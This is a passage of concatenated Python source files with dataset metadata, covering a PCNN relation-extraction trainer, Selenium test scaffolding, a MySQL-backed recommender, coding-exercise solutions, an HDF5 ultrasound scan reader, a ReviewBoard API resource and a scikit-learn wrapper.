Accuracy()\n\t\tstep = 0\n\t\t#train\n\t\tif not os.path.exists(FLAGS.checkpoint_dir):\n\t\t\tos.mkdir(FLAGS.checkpoint_dir)\n\t\ttrain_order = list(range(len(self.data_instance_triple)))\n\t\tnp.random.shuffle(train_order)\n\n\t\tfor i in range(int(len(train_order) / float(FLAGS.batch_size))):\n\t\t\tinput_scope_selected = np.take(pcnn_instance_scope_selected, train_order[i * FLAGS.batch_size:(i + 1) * FLAGS.batch_size], axis=0)\n\t\t\tindex_selected = []\n\t\t\tscope_selected = [0]\n\t\t\tlabel_weights_selected = []\n\t\t\tlabel_selected = []\n\t\t\tlabel_ds = []\n\n\t\t\tfor k in train_order[i * FLAGS.batch_size:(i + 1) * FLAGS.batch_size]:\n\t\t\t\tlabel_ds.append(ds_bag_label[k])\n\t\t\tfor num in input_scope_selected:\n\t\t\t\tindex_selected = index_selected + list(range(num[0], num[1] + 1))\n\t\t\t\tlabel_selected.append(pcnn_train_label_selected[num[0]])\n\t\t\t\tscope_selected.append(scope_selected[len(scope_selected) - 1] + num[1] - num[0] + 1)\n\t\t\t\tlabel_weights_selected.append(reltot[pcnn_train_label_selected[num[0]]])\n\n\t\t\t#train_one_step\n\t\t\tfeed_dict = {\n\t\t\t\tself.model.word: pcnn_train_word_selected[index_selected, :],\n\t\t\t\tself.model.pos1: pcnn_train_pos1_selected[index_selected, :],\n\t\t\t\tself.model.pos2: pcnn_train_pos2_selected[index_selected, :],\n\t\t\t\tself.model.mask: pcnn_train_mask_selected[index_selected, :],\n\t\t\t\tself.model.length: pcnn_train_length_selected[index_selected],\n\t\t\t\tself.model.bag_label: label_selected,\n\t\t\t\tself.model.sentence_label:pcnn_train_label_selected[index_selected],\n\t\t\t\tself.model.scope: np.array(scope_selected),\n\t\t\t\tself.model.label_weights: label_weights_selected\n\t\t\t}\n\t\t\tresult = self.sess.run([self.model.train_op, self.model.global_step, self.model.output, self.model.loss], feed_dict)\n\t\t\tstep = result[1]\n\t\t\t_output = result[2]\n\t\t\tloss = result[3]\n\t\t\t#跟ds比\n\t\t\tfor j, prediction in enumerate(_output):\n\t\t\t\tif label_selected[j] == 0:\n\t\t\t\t\tacc_NA.add(prediction == label_selected[j])\n\t\t\t\telse:\n\t\t\t\t\tacc_not_NA.add(prediction == label_selected[j])\n\t\t\t\tacc_total.add(prediction == label_selected[j])\n\n\t\t\ttime_str = datetime.datetime.now().isoformat()\n\t\t\tsys.stdout.write(\" step %d | loss : %f, NA accuracy: %f, not NA accuracy: %f, total accuracy %f\" % (i, loss, acc_NA.get(), acc_not_NA.get(), acc_total.get()) + '\\r')\n\t\t\tsys.stdout.flush()\n\t\tprint(\"\\n\")\n\t\tprint(' pcnn: saving model...')\n\t\tpath = self.saver.save(self.sess, \"model/selected_pcnn_model\")\n\t\tprint(' have saved model to ' + path)\n\t\tself.test_function.test(\"model/selected_pcnn_model\")\nclass Test_Pcnn():\n\tdef __init__(self,save_path = 'model/origin_pcnn_model'):\n\t\twith tf.Graph().as_default():\n\t\t\tdevice_config = tf.ConfigProto()\n\t\t\tdevice_config.gpu_options.allow_growth = True\n\t\t\tself.sess = tf.Session(config=device_config)\n\t\t\twith self.sess.as_default():\n\t\t\t\tinitializer = tf.contrib.layers.xavier_initializer()\n\t\t\t\twith tf.variable_scope(\"pcnn\", reuse=None, initializer=initializer):\n\t\t\t\t\tself.model = PCNN(is_training=False)\n\t\t\t\tself.sess.run(tf.global_variables_initializer())\n\t\t\t\tself.saver = tf.train.Saver()\n\n\t\tself.data_instance_triple = np.load(os.path.join(FLAGS.export_path, 'train_instance_triple.npy'))#triple是不变的\n\t\tself.data_instance_scope = np.load(os.path.join(FLAGS.export_path, 'train_instance_scope.npy'))\n\t\tself.data_train_length = np.load(os.path.join(FLAGS.export_path, 'train_len.npy'))\n\t\tself.data_train_label = np.load(os.path.join(FLAGS.export_path, 'train_label.npy'))\n\t\tself.data_train_word = np.load(os.path.join(FLAGS.export_path, 'train_word.npy'))\n\t\tself.data_train_pos1 = np.load(os.path.join(FLAGS.export_path, 'train_pos1.npy'))\n\t\tself.data_train_pos2 = np.load(os.path.join(FLAGS.export_path, 'train_pos2.npy'))\n\t\tself.data_train_mask = np.load(os.path.join(FLAGS.export_path, 'train_mask.npy'))\n\t\tself.ds_bag_label = np.load(\"./data/ds_bag_label.npy\")\n\t\tself.reltot = {}\n\t\tfor index, i in enumerate(self.data_train_label):\n\t\t\tif not i in self.reltot:\n\t\t\t\tself.reltot[i] = 1.0\n\t\t\telse:\n\t\t\t\tself.reltot[i] += 1.0\n\t\tfor i in self.reltot:\n\t\t\tself.reltot[i] = 1 / (self.reltot[i] ** (0.05))\n\n\t\tself.best_auc=0\n\t\tself.selected=0\n\t\tself.data_instance_entity = np.load(os.path.join(FLAGS.export_path, 'test_instance_entity.npy'))\n\t\tself.data_instance_entity_no_bag = np.load(os.path.join(FLAGS.export_path, 'test_instance_entity_no_bag.npy'))\n\t\tinstance_triple = np.load(os.path.join(FLAGS.export_path, 'test_instance_triple.npy'))\n\t\tself.data_test_instance_triple = {}\n\t\tfor item in instance_triple:\n\t\t\tself.data_test_instance_triple[(item[0], item[1], int(item[2]))] = 0\n\t\tself.data_test_instance_scope = np.load(os.path.join(FLAGS.export_path, 'test_instance_scope.npy'))\n\t\tself.data_test_length = np.load(os.path.join(FLAGS.export_path, 'test_len.npy'))\n\t\tself.data_test_label = np.load(os.path.join(FLAGS.export_path, 'test_label.npy'))\n\t\tself.data_test_word = np.load(os.path.join(FLAGS.export_path, 'test_word.npy'))\n\t\tself.data_test_pos1 = np.load(os.path.join(FLAGS.export_path, 'test_pos1.npy'))\n\t\tself.data_test_pos2 = np.load(os.path.join(FLAGS.export_path, 'test_pos2.npy'))\n\t\tself.data_test_mask = np.load(os.path.join(FLAGS.export_path, 'test_mask.npy'))\n\tdef test(self,path):\n\n\t\tsave_x = None\n\t\tsave_y = None\n\t\tbest_auc = 0\n\t\tbest_prec_mean = 0\n\t\tbest_epoch = 0\n\t\tprint('test ' + FLAGS.model_name)\n\t\tprint(\" start testing checkpoint\")\n\t\tself.saver.restore(self.sess,path)\n\t\ttest_id = list(range(len(self.data_test_instance_scope)))\n\t\ttotal = int(len(test_id) / FLAGS.batch_size)\n\t\ttest_result = []\n\t\ttotal_recall = 0\n\t\twrong_relation = np.zeros(53)\n\t\tfor i in range(total):\n\t\t\tinput_scope = np.take(self.data_test_instance_scope, test_id[i * FLAGS.batch_size:(i + 1) * FLAGS.batch_size], axis=0)\n\t\t\tindex = []\n\t\t\tscope = [0]\n\t\t\tlabel = []\n\t\t\tfor num in input_scope:\n\t\t\t\tindex = index + list(range(num[0], num[1] + 1))\n\t\t\t\tlabel.append(self.data_test_label[num[0]])\n\t\t\t\tscope.append(scope[len(scope) - 1] + num[1] - num[0] + 1)\n\t\t\tfeed_dict = {\n\t\t\t\tself.model.word: self.data_test_word[index, :],\n\t\t\t\tself.model.pos1: self.data_test_pos1[index, :],\n\t\t\t\tself.model.pos2: self.data_test_pos2[index, :],\n\t\t\t\tself.model.mask: self.data_test_mask[index, :],\n\t\t\t\tself.model.length: self.data_test_length[index],\n\t\t\t\tself.model.bag_label: label,\n\t\t\t\tself.model.sentence_label: self.data_test_label[index],\n\t\t\t\tself.model.scope: np.array(scope)\n\t\t\t}\n\t\t\tresult = self.sess.run([self.model.logit], feed_dict)\n\t\t\tself.test_output = result[0]\n\t\t\tfor j in range(len(self.test_output)):\n\t\t\t\tpred = self.test_output[j]\n\t\t\t\tentity = self.data_instance_entity[test_id[j + i * FLAGS.batch_size]]\n\t\t\t\tfor rel in range(1, len(pred)):\n\t\t\t\t\tflag = int(((entity[0], entity[1], rel) in self.data_test_instance_triple))\n\t\t\t\t\ttotal_recall += flag\n\t\t\t\t\ttest_result.append([(entity[0], entity[1], rel), flag, pred[rel]])\n\t\t\tif i % 100 == 0:\n\t\t\t\tsys.stdout.write(' predicting {} / {}\\r'.format(i, total))\n\t\t\t\tsys.stdout.flush()\n\t\tprint('\\n evaluating...')\n\t\tsorted_test_result = sorted(test_result, key=lambda x: x[2])\n\t\tpr_result_x = []\n\t\tpr_result_y = []\n\t\tcorrect = 0\n\t\tfor i, item in enumerate(sorted_test_result[::-1]):\n\t\t\tif item[1] == 1:\n\t\t\t\tcorrect += 1\n\t\t\telif item[1] == 0 and i<2000:\n\t\t\t\twrong_relation[item[0][2]] += 1\n\t\t\tpr_result_y.append(float(correct) / (i + 1))#准确率\n\t\t\tpr_result_x.append(float(correct) / total_recall)#召回率\n\n\t\tauc = sklearn.metrics.auc(x=pr_result_x, y=pr_result_y)\n\t\tprec_mean = (pr_result_y[100] + pr_result_y[200] + pr_result_y[300]) / 3\n\t\tprint(' auc: {}'.format(auc))\n\t\tprint(' p@(100,200,300) mean: {}'.format(prec_mean))\n\t\t#print(wrong_relation)\n\t\tif auc > self.best_auc:\n\t\t\tself.best_auc = auc\n\t\t\tsave_x = pr_result_x\n\t\t\tsave_y = pr_result_y\n\t\t\tif not os.path.exists(FLAGS.test_result_dir):\n\t\t\t\tos.mkdir(FLAGS.test_result_dir)\n\t\t\tself.saver.save(self.sess, \"model/best_pcnn_model\")\n\t\tname_x=\"./test_resylt/pcnn_rl_x\"\n\t\tname_y=\"./test_result/pcnn_rl_y\"\n\t\tnp.save(name_x, save_x)\n\t\tnp.save(name_y, save_y)\n\t\tprint(\" this auc:%f\"%(auc))\n\t\tprint(' best epoch:%f'%(self.best_epoch))\n\t\treturn auc","sub_path":"pcnn_model.py","file_name":"pcnn_model.py","file_ext":"py","file_size_in_byte":33434,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"312635966","text":"from selenium import webdriver\nfrom selenium.webdriver.chrome.options import Options\nimport unittest\nimport datetime\n\n\ndef exception_monitor(path):\n def decorator(func):\n def wrapper(self, *args, **kw):\n try:\n # 捕获函数异常\n return func(self, *args, **kw)\n except Exception:\n s = datetime.datetime.now().strftime('%Y-%m-%d %H_%M_%S') # 现在\n print (s)\n # 函数出现异常后的处理\n if path.endswith('/'):\n self.driver.save_screenshot(path + func.__name__ + '%s_error.png' % s )\n else:\n self.driver.save_screenshot(path + '/' + func.__name__ + '%s_error.png' % s )\n print(path + '/' + func.__name__ + '%s_error.png' % s )\n # 为了能在结果展示异常,需要重新抛出该异常\n raise\n\n return wrapper\n\n return decorator\n\n\nclass TestBase(unittest.TestCase):\n\n\n def setUp(self):\n options = Options()\n options.add_argument('-headless')\n #self.driver = webdriver.Chrome(options=options) # 无头模式\n self.driver = webdriver.Chrome()\n self.driver.implicitly_wait(10)\n # self.driver.maximize_window()\n\n def tearDown(self):\n\n self.driver.quit()\n\n\n","sub_path":"ui_web_auto_pytest/uiautomation_weibiaodan/testcase/test_base.py","file_name":"test_base.py","file_ext":"py","file_size_in_byte":1357,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"325586987","text":"import predict\nimport pymysql\nimport time\n'''\n@功能:计算每个用户的对每个条目的兴趣度,并按从高到底的顺序排序\n@参数: result: user_class 和 item_class 结果\n@参数: topN: 推荐topN个条目给用户\n@参数: user_num 用户数 item_num 条目数\n'''\ndef recommend_top(result:dict(), topN, user_num, item_num):\n user_item_r = dict() # 推荐结果\n user_item = dict() # 计算兴趣度结果\n user_class = result[0]\n item_class = result[1]\n fo = open(\"ml-100k/result/user_item_interest.txt\", \"w\")\n for x in range(1, user_num+1):\n user_item[x] = dict()\n for y in range(1, item_num+1):\n user_item[x][y] = predict.predict(x, y, user_class[x], item_class[y])\n fo.write(str(x) + \" \" + str(y) + \" \" + str(user_item[x][y]))\n fo.write(\"\\n\")\n # 对每个用户按照对条目的兴趣度进行排序\n for x in user_item.keys():\n one_user_item = user_item[x].items()\n # sort_items = item_dict.items()\n backitems = [[v[1], v[0]] for v in one_user_item]\n backitems.sort()\n backitems.reverse()\n rec = list()\n rec = [backitems[i][1] for i in range(0, len(backitems))]\n user_item_r[x] = rec[0:topN]\n fo = open(\"ml-100k/result/user_item_rec.txt\", \"w\")\n for x in user_item_r.keys():\n fo.write(str(x))\n fo.write(\"\\n\")\n for y in user_item_r[x]:\n fo.write(str(y) + \",\")\n fo.write(\"\\n\")\n # 将推荐结果user_item_r存入数据库中\n # 打开数据库\n db = pymysql.connect(\"127.0.0.1\", \"root\", \"1351\", \"qb_db\")\n # 使用cursor() 方法创建一个游标对象\n my_cursor = db.cursor()\n my_cursor.execute(\"DELETE FROM info_rec\")\n rec_time = time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime())\n for x in user_item_r.keys():\n str(x)\n for y in user_item_r[x]:\n sql = \"INSERT INTO info_rec (id, itemid, rec_time) VALUES ('%s', '%s', '%s')\" % (str(x), str(y), str(rec_time))\n my_cursor.execute(sql)\n db.commit()\n return user_item_r\n","sub_path":"recommend_top.py","file_name":"recommend_top.py","file_ext":"py","file_size_in_byte":2092,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"104053274","text":"### CTCI solution ####\n### Author : Prashant Kumar ####\n\n#We will make use of list to solve this problem\n#Because python strings in immutable, python list are mutable\n# and hence in place urlification can be done or custom mutable \n# string classes can be made to make the problem easier.\n\ndef urlify(original:list,truelen:int)->list:\n scount = 0\n for i in range(truelen):\n if original[i] == ' ':\n scount += 1\n print(scount)\n index = (truelen + 2 * scount)\n print(index)\n for i in reversed(range(truelen)):\n if original[i] == ' ':\n original[index - 1] = '0'\n original[index - 2] = '2'\n original[index - 3] = '%'\n index -= 3\n else:\n original[index - 1] = original[i]\n index -= 1\n \n return original\n\n\nprint(urlify(['M','r',' ','J','o','h','n',' ','S','m','i','t','h',' ',' ',' ',' '],13))\n\n\n\n","sub_path":"Chapter 1/3-urlify.py","file_name":"3-urlify.py","file_ext":"py","file_size_in_byte":912,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"410967527","text":"import numpy as np\r\nfrom scipy.signal import hilbert\r\nimport h5py\r\nfrom enum import Enum\r\nimport matplotlib.pyplot as plt\r\nfrom scipy.signal import butter, lfilter\r\n\r\nclass DispType(Enum):\r\n PEAK_TO_PEAK = 1\r\n MAX = 2\r\n MIN = 3\r\n MIN_MAX = 4\r\n ENVELOP_PEAK = 5\r\n ENVELOP_PEAK_DB = 6\r\n ENVELOP_TIME_PEAK = 7\r\n\r\nclass HdfDoc:\r\n def __init__(self, hdf_file_name):\r\n self.a_scan_mat = None\r\n self.hdf_filename = hdf_file_name\r\n self.load_ascans_from_file()\r\n\r\n def load_ascans_from_file(self):\r\n with h5py.File(self.hdf_filename, 'r') as file:\r\n self.phi_arr = file['Phi Array'][:]\r\n self.radius_arr = file['Radius Array'][:]\r\n self.z_arr = file['Z Array'][:]\r\n a_scans_dataset = file['A-Scans'][:, :]\r\n self.a_scan_mat = np.float64(a_scans_dataset)\r\n if a_scans_dataset.dtype is np.dtype('uint8'):\r\n self.a_scan_mat /= np.power(2., 8)\r\n elif a_scans_dataset.dtype is np.dtype('uint16'):\r\n self.a_scan_mat /= np.power(2., 16)\r\n else:\r\n raise NotImplementedError\r\n\r\n self.a_scan_mat = self.a_scan_mat - np.mean(self.a_scan_mat, 1, keepdims=True)\r\n self.sample_rate = file['A-Scans'].attrs['Sample Rate'] / 1e6\r\n self.is_3D = np.bool(file.attrs['Is 3D'])\r\n self.x_arr = self.radius_arr * np.cos(self.phi_arr)\r\n self.y_arr = self.radius_arr * np.sin(self.phi_arr)\r\n self.reso = self.get_scan_reso()\r\n\r\n if self.is_3D:\r\n raise NotImplementedError\r\n # curvDistArr = self.phi_arr * self.radius_arr\r\n # midDist = (np.max(curvDistArr) - np.min(curvDistArr))/2\r\n # curvDistArr -= midDist\r\n else:\r\n self.j_arr = np.uint64(np.floor((self.x_arr - np.min(self.x_arr)) / self.reso))\r\n self.i_arr = np.uint64(np.floor((self.y_arr - np.min(self.y_arr)) / self.reso))\r\n\r\n self.num_col = np.uint64(np.max(self.j_arr) + 1)\r\n self.num_row = np.uint64(np.max(self.i_arr) + 1)\r\n self.wave_indx_mat = np.zeros((self.num_row, self.num_col), dtype='uint64')\r\n for indx, i_indx in enumerate(self.i_arr):\r\n j_indx = self.j_arr[indx]\r\n self.wave_indx_mat[i_indx, j_indx] = indx\r\n self.fwf_arr = np.zeros_like(self.phi_arr)\r\n\r\n def get_s_pos_arr(self):\r\n raise NotImplementedError\r\n\r\n def get_scan_reso(self):\r\n if self.is_3D:\r\n if abs(self.phi_arr[0] - self.phi_arr[1]) > 1e-16:\r\n arc0 = self.phi_arr[0] * self.radius_arr[0]\r\n arc1 = self.phi_arr[1] * self.radius_arr[1]\r\n return abs(arc0 - arc1)\r\n else:\r\n # This is for the rotor which scans first the Z axis and then phi\r\n return abs(self.z_arr[0] - self.z_arr[1])\r\n else:\r\n delta_x = self.x_arr[1:] - self.x_arr[:-1]\r\n delta_y = self.y_arr[1:] - self.y_arr[:-1]\r\n dist_arr = np.sqrt(np.power(delta_x, 2) + np.power(delta_y, 2.0))\r\n first_change_indx = (dist_arr > 1e-6).nonzero()[0][0]\r\n dist = dist_arr[first_change_indx]\r\n return dist\r\n\r\n def arrange_a_scans_in_mat(self):\r\n raise NotImplementedError\r\n\r\n @staticmethod\r\n def get_disp_val(vals_arr, disp_type):\r\n if disp_type is DispType.PEAK_TO_PEAK:\r\n val = np.max(vals_arr) - np.min(vals_arr)\r\n elif disp_type is DispType.MAX:\r\n val = np.max(vals_arr)\r\n elif disp_type is DispType.MIN:\r\n val = np.min(vals_arr)\r\n elif disp_type is DispType.MIN_MAX:\r\n min_val = np.abs(np.min(vals_arr))\r\n max_val = np.abs(np.max(vals_arr))\r\n val = max(min_val, max_val)\r\n elif disp_type is DispType.ENVELOP_PEAK:\r\n envelop = np.abs(hilbert(vals_arr))\r\n val = np.max(envelop)\r\n elif disp_type is DispType.ENVELOP_PEAK_DB:\r\n envelop = np.abs(hilbert(vals_arr))\r\n envelop = 20 * np.log10(envelop)\r\n val = np.max(envelop)\r\n elif disp_type is DispType.ENVELOP_TIME_PEAK:\r\n envelop = np.abs(hilbert(vals_arr))\r\n val = np.argmax(envelop)\r\n else:\r\n val = 0\r\n\r\n return val\r\n\r\n def get_c_scan(self, val_type=DispType.PEAK_TO_PEAK, dn0=0, dn1=None):\r\n (num_wave, wave_len) = self.a_scan_mat.shape\r\n c_scan = np.zeros_like(self.wave_indx_mat, dtype='float64')\r\n for indx, i_indx in enumerate(self.i_arr):\r\n j_indx = self.j_arr[indx]\r\n cur_n0 = self.fwf_arr[indx] + dn0\r\n cur_n1 = self.fwf_arr[indx] + dn1\r\n cur_n0 = int(min(cur_n0, wave_len))\r\n cur_n0 = int(max(cur_n0, 0))\r\n cur_n1 = int(min(cur_n1, wave_len))\r\n cur_n1 = int(max(cur_n1, 0))\r\n if (cur_n1 > cur_n0):\r\n a_scan = self.a_scan_mat[indx][cur_n0:cur_n1]\r\n c_scan[i_indx, j_indx] = HdfDoc.get_disp_val(a_scan, val_type)\r\n\r\n return c_scan\r\n\r\n def get_a_scan(self, i_indx, j_indx):\r\n index = self.wave_indx_mat[i_indx, j_indx]\r\n return self.a_scan_mat[index, :]\r\n\r\n def get_data_dim(self):\r\n (num_wave, wave_len) = self.a_scan_mat.shape\r\n return (num_wave, self.num_row, self.num_col, wave_len)\r\n\r\n def get_volume_ascans(self, ascan_mat, dn0=0, dn1=None):\r\n (num_wave, wave_len) = self.a_scan_mat.shape\r\n # wave_len = dn1 - dn0\r\n\r\n ascan_vol = np.zeros((self.num_row, self.num_col, wave_len))\r\n\r\n\r\n max_n = 0\r\n for indx, i_indx in enumerate(self.i_arr):\r\n j_indx = self.j_arr[indx]\r\n cur_n0 = self.fwf_arr[indx] + dn0\r\n cur_n1 = self.fwf_arr[indx] + dn1\r\n cur_n0 = int(min(cur_n0, wave_len))\r\n cur_n0 = int(max(cur_n0, 0))\r\n cur_n1 = int(min(cur_n1, wave_len))\r\n cur_n1 = int(max(cur_n1, 0))\r\n\r\n max_n = max(max_n, cur_n1)\r\n if (cur_n1 > cur_n0):\r\n ascan_vol[i_indx, j_indx, 0:cur_n1 - cur_n0] = ascan_mat[indx, cur_n0:cur_n1]\r\n ascan_vol = ascan_vol[:, :, 0:max_n]\r\n return ascan_vol\r\n\r\n\r\n def update_fwf_roi(self, signal_indx, fwf_left, fwf_bottom, fwf_width, fwf_height):\r\n signal = self.a_scan_mat[signal_indx, :]\r\n wave_len = signal.shape[0]\r\n fwf_top = fwf_bottom + fwf_height\r\n fwf_right = fwf_left + fwf_width\r\n\r\n left = max(int(fwf_left), 0)\r\n right = min(int(fwf_right), wave_len)\r\n k_max = np.argmax(signal[left:right])\r\n k_min = np.argmin(signal[left:right])\r\n\r\n max_val = 0\r\n k_choose = (left + right) / 2 - left\r\n if (signal[k_max + left] > fwf_top):\r\n k_choose = k_max\r\n max_val = signal[k_max + left]\r\n\r\n if (signal[k_min + left] < fwf_bottom):\r\n if (-signal[k_min + left] > max_val):\r\n k_choose = k_min\r\n max_val = -signal[k_min + left]\r\n\r\n max_pos = left + k_choose\r\n\r\n if (max_val > 0):\r\n fwf_left_upd = max_pos - fwf_width / 2\r\n else:\r\n fwf_left_upd = fwf_left\r\n\r\n\r\n return max_pos, fwf_left_upd\r\n\r\n def update_fwf(self, fwf_left, fwf_bottom, fwf_width, fwf_height, cur_i, cur_j, is_reset):\r\n if (is_reset):\r\n self.fwf_arr = np.zeros_like(self.phi_arr)\r\n else:\r\n fwf_left_upd = fwf_left\r\n for row in range(cur_i, 0, -1):\r\n signal_indx = self.wave_indx_mat[row, cur_j]\r\n max_pos, fwf_left_upd = self.update_fwf_roi(signal_indx, fwf_left_upd, fwf_bottom, fwf_width, fwf_height)\r\n self.fwf_arr[signal_indx] = max_pos\r\n\r\n\r\n for col in range(cur_j, 0, -1):\r\n signal_indx = self.wave_indx_mat[0, col]\r\n max_pos, fwf_left_upd = self.update_fwf_roi(signal_indx, fwf_left_upd, fwf_bottom, fwf_width, fwf_height)\r\n self.fwf_arr[signal_indx] = max_pos\r\n\r\n for row in range(self.num_row):\r\n for col in range(self.num_col):\r\n if ((row % 2) > 0):\r\n col = int(self.num_col - col - 1)\r\n signal_indx = self.wave_indx_mat[row, col]\r\n max_pos, fwf_left_upd = self.update_fwf_roi(signal_indx, fwf_left_upd, fwf_bottom, fwf_width, fwf_height)\r\n self.fwf_arr[signal_indx] = max_pos\r\n\r\n def get_fwf_pos(self, row, col):\r\n signal_indx = self.wave_indx_mat[row, col]\r\n return self.fwf_arr[signal_indx]\r\n\r\n\r\n def band_pass_filter(self, low_freq, high_freq, order):\r\n nyq = 0.5 * self.sample_rate *1e6\r\n low = low_freq / nyq\r\n high = high_freq / nyq\r\n b, a = butter(order, [low, high], btype='band')\r\n self.a_scan_mat = lfilter(b, a, self.a_scan_mat, 1)\r\n print('Im here')\r\n\r\nif __name__ == '__main__':\r\n # file_name = 'D:/US_Scans/adhessive_scans/Sample1- 5MHz Focus N01 Glue Interface.hdf'\r\n file_name = 'G:/My Drive/doctorat/Experiments/Sample1- 5MHz Focus N01 Glue Interface.hdf'\r\n\r\n hdf_data = HdfDoc(file_name)\r\n cur_a_scan = hdf_data.get_a_scan(100, 100)\r\n plt.figure('a-scan')\r\n plt.plot(cur_a_scan)\r\n plt.show()\r\n\r\n","sub_path":"HdfDoc.py","file_name":"HdfDoc.py","file_ext":"py","file_size_in_byte":9410,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"428265367","text":"class Solution:\n def shortestToChar(self, S, C):\n \"\"\"\n :type S: str\n :type C: str\n :rtype: List[int]\n \"\"\"\n #We use an array ,result[] here to be the teturn value\n #And use count[] here to know the position of those 0's in result[]\n #Then we use this information to manipulate the string\n result = []\n count = []\n for i in range(len(S)):\n result.append(-1)\n for i in range(len(S)):\n if S[i] == C:\n result[i] = 0\n count.append(i)\n nowr = 0\n left = count[nowr]\n #now we begin the first recursion\n for i in range(left +1):\n result[i] = left - i\n \n if len(count) == 1:\n for i in range(left,len(result)):\n result[i] = i - left\n lencount = len(count) \n while -1 in result and nowr != lencount - 1:\n right = count[nowr + 1]\n left = count[nowr]\n nowr += 1\n for i in range(left,right + 1):\n result[i] = i - left if i - left < right - i else right - i\n if -1 in result:\n last = count[nowr]\n for i in range(last,len(result)):\n result[i] = i - last\n return result\n","sub_path":"TangYuCreated/leetcode/Python/简单题目/821.py","file_name":"821.py","file_ext":"py","file_size_in_byte":1304,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"473559637","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.macosx-10.13-x86_64/egg/reviewboard/webapi/resources/repository_branches.py\n# Compiled at: 2020-02-11 04:03:57\nfrom __future__ import unicode_literals\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django.utils import six\nfrom djblets.webapi.decorators import webapi_response_errors\nfrom djblets.webapi.errors import DOES_NOT_EXIST\nfrom reviewboard.hostingsvcs.errors import HostingServiceError\nfrom reviewboard.scmtools.errors import SCMError\nfrom reviewboard.webapi.base import WebAPIResource\nfrom reviewboard.webapi.decorators import webapi_check_login_required, webapi_check_local_site\nfrom reviewboard.webapi.errors import REPO_INFO_ERROR, REPO_NOT_IMPLEMENTED\nfrom reviewboard.webapi.resources import resources\n\nclass RepositoryBranchesResource(WebAPIResource):\n \"\"\"Provides information on the branches in a repository.\n\n Data on branches will not be available for all types of repositories.\n \"\"\"\n added_in = b'2.0'\n name = b'branches'\n policy_id = b'repository_branches'\n singleton = True\n allowed_methods = ('GET', )\n mimetype_item_resource_name = b'repository-branches'\n fields = {b'id': {b'type': six.text_type, \n b'description': b'The ID of the branch. This is specific to the type of repository.'}, \n b'name': {b'type': six.text_type, \n b'description': b'The name of the branch.'}, \n b'commit': {b'type': six.text_type, \n b'description': b'The revision identifier of the commit.\\n\\nThe format depends on the repository type (it may be a number, SHA-1 hash, or some other type). This should be treated as a relatively opaque value, but can be used as the ``start`` parameter to the :ref:`webapi2.0-repository-commits-resource`.'}, \n b'default': {b'type': bool, \n b'description': b'If set, this branch is considered the \"tip\" of the repository. It would represent \"master\" for Git repositories, \"trunk\" for Subversion, etc.\\n\\nThis will be ``true`` for exactly one of the results only. All others will be ``false``.'}}\n\n @webapi_check_local_site\n @webapi_check_login_required\n @webapi_response_errors(DOES_NOT_EXIST, REPO_INFO_ERROR, REPO_NOT_IMPLEMENTED)\n def get(self, request, *args, **kwargs):\n \"\"\"Retrieves an array of the branches in a repository.\"\"\"\n try:\n repository = resources.repository.get_object(request, *args, **kwargs)\n except ObjectDoesNotExist:\n return DOES_NOT_EXIST\n\n try:\n branches = []\n for branch in repository.get_branches():\n branches.append({b'id': branch.id, \n b'name': branch.name, \n b'commit': branch.commit, \n b'default': branch.default})\n\n return (\n 200,\n {self.item_result_key: branches})\n except (HostingServiceError, SCMError) as e:\n return REPO_INFO_ERROR.with_message(six.text_type(e))\n except NotImplementedError:\n return REPO_NOT_IMPLEMENTED\n\n\nrepository_branches_resource = RepositoryBranchesResource()","sub_path":"pycfiles/ReviewBoard-3.0.17-py2.7/repository_branches.py","file_name":"repository_branches.py","file_ext":"py","file_size_in_byte":3273,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"535087084","text":"import numpy as np\nimport pandas as pd\nfrom sklearn.ensemble import RandomForestClassifier\n\n\nclass System(object):\n\n def __init__(self):\n self.data = None\n self.test_data = None\n self.predict_data = None\n self.classifier = None\n self.model = None\n self.results = None\n\n def input_train_file(self, csv=None, other=None):\n \"\"\"Reads the input file into a dataframe.\"\"\"\n needed = True\n dataframe = pd.read_csv(csv)\n if needed:\n dataframe = self.preprocess(dataframe)\n self.data = dataframe\n\n def input_test_file(self, csv=None, other=None):\n needed = True\n dataframe = pd.read_csv(csv)\n if needed:\n dataframe = self.preprocess(dataframe)\n self.test_data = dataframe\n\n def input_prediction_file(self, csv=None, other=None):\n needed = True\n dataframe = pd.read_csv(csv)\n if needed:\n dataframe = self.preprocess(dataframe)\n self.predict_data = dataframe\n\n def preprocess(self, dataframe):\n \"\"\"Preprocesses the data by filling in missing data et cetera.\"\"\"\n # Specific to the Titanic dataset:\n processed_data = (dataframe.drop(['Name', 'Cabin', 'Ticket', 'Sex',\n 'Embarked', 'PassengerId'], axis=1)\n .dropna(axis=0))\n return processed_data\n\n def choose_classifier(self, preference=None):\n \"\"\"Chooses the best classifier based on data or preference.\"\"\"\n if preference:\n # Choose the preferred classifier if possible.\n self.classifier = preference\n else:\n # Determine the best classifier based on the data.\n # Right now, that's obviously a random forest.\n self.classifier = RandomForestClassifier(n_estimators=100)\n\n def build_model(self):\n \"\"\"Fits the model.\"\"\"\n label = self.data.values[0::, 0]\n train = self.data.values[0::, 1::]\n self.model = self.classifier.fit(train, label)\n\n def test_model(self):\n \"\"\"Tests the model, provided test data is available.\"\"\"\n label = self.tets_data.values[0::, 0] # true labels\n test = self.test_data.values[0::, 1::] # test data without labels\n self.model.score(test, label)\n\n def predict(self):\n \"\"\"Predicts the label for the given dataset.\"\"\"\n predict = self.predict_data.values\n self.results = self.model.predict(predict)\n\n def dump_results(self):\n np.savetxt(\"results.csv\", self.results, 